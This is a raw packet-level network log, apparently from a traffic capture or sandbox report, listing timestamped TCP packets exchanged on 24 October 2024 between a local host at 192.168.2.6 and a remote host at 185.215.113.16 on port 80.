Oct 24, 2024 18:08:16.097309113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.097341061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.097910881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097984076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097999096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.098018885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.098051071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.098064899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.098088980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.098988056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099003077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099018097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099026918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.099033117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099049091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099052906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.099087000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.099564075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099630117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099644899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099663973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.099666119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099680901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.099699974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.100438118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.100454092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.100469112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.100482941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.100491047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.100521088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.106668949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.106683969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.106697083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.106705904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.106741905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.147834063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.147878885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.147895098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.147941113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.148399115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.148423910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.148437023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.148439884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.148474932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.150391102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.150417089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.150430918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.150449991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.150489092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.150504112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.150518894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.150525093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.150557995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.150999069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.151061058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.151074886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.151098013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.151422024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.151437044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.151449919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.151463985 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.151493073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.181704044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181735992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181752920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181777000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.181783915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181830883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181833029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.181847095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181863070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181890011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.181941986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.181993961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.226438999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.226454020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.226468086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.226504087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.267473936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.267517090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.267522097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.267555952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.267601967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.267838001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.267863035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.267877102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.267905951 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.269944906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.269988060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.270004034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270020008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270040989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270051956 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.270055056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270095110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.270306110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270361900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270376921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270392895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270399094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.270432949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.270948887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270963907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.270977974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.271007061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.301953077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.301975012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.301991940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302015066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.302047968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302097082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.302398920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302412987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302431107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302443981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.302445889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302468061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.302720070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302733898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.302755117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.347225904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.347246885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.347263098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.347389936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.347389936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.387419939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.387438059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.387450933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.387501001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.387906075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.387919903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.387933016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.387948990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.387991905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.390149117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390162945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390177965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390203953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.390324116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390340090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390363932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.390487909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390502930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390518904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390539885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.390573025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.390633106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390841007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.390877962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.391448021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.391462088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.391474962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.391505003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.421087980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421107054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421123981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421133995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.421202898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.421231985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421423912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421437025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421467066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.421587944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421603918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421618938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.421626091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.421660900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.464767933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.464826107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.464890957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.465962887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.466046095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.466061115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.466084957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.506156921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506172895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506189108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506313086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.506314039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.506598949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506720066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506732941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506747961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.506758928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.506841898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.508876085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.508924007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.508939028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.508953094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.508963108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.509059906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.509191990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509268045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509308100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.509411097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509427071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509440899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509464025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.509804010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509825945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509841919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509845972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.509857893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509875059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.509881973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.509908915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.540021896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540041924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540056944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540122032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540153027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540168047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540183067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540199041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.540210962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.540210962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.540301085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.540301085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.585478067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.585494041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.585515976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.585530043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.585545063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.585635900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.585635900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629218102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629261971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629317999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629321098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629353046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629381895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629385948 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629415989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629429102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629451036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629482985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629515886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629522085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629549026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629558086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629582882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629615068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629626989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629648924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629681110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629690886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629728079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629757881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629791021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629800081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629828930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629861116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629875898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.629895926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.629903078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.659246922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659302950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659302950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.659356117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659399986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.659468889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659503937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659535885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659548998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.659898043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659931898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.659965992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.659965992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.660028934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.705008984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.705043077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.705095053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.705097914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.705562115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.705596924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.705620050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.705630064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.705707073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.745378971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745500088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745537043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745568037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.745579958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745610952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745642900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.745667934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745698929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.745757103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.747912884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.747947931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.747967005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.748022079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748058081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748092890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748102903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.748152971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.748266935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748393059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748450994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.748595953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748712063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748744965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748781919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748795986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.748816967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.748830080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.749236107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.749269962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.749304056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.749319077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.749370098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.778959990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779032946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779071093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779104948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779139042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779175043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779218912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.779218912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.779306889 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.779406071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779442072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779474020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.779501915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.824358940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.824399948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.824410915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.824434042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.824490070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.824512005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.824543953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.824575901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.824589014 CEST	49744	80	192.168.2.6	185.215.113.16
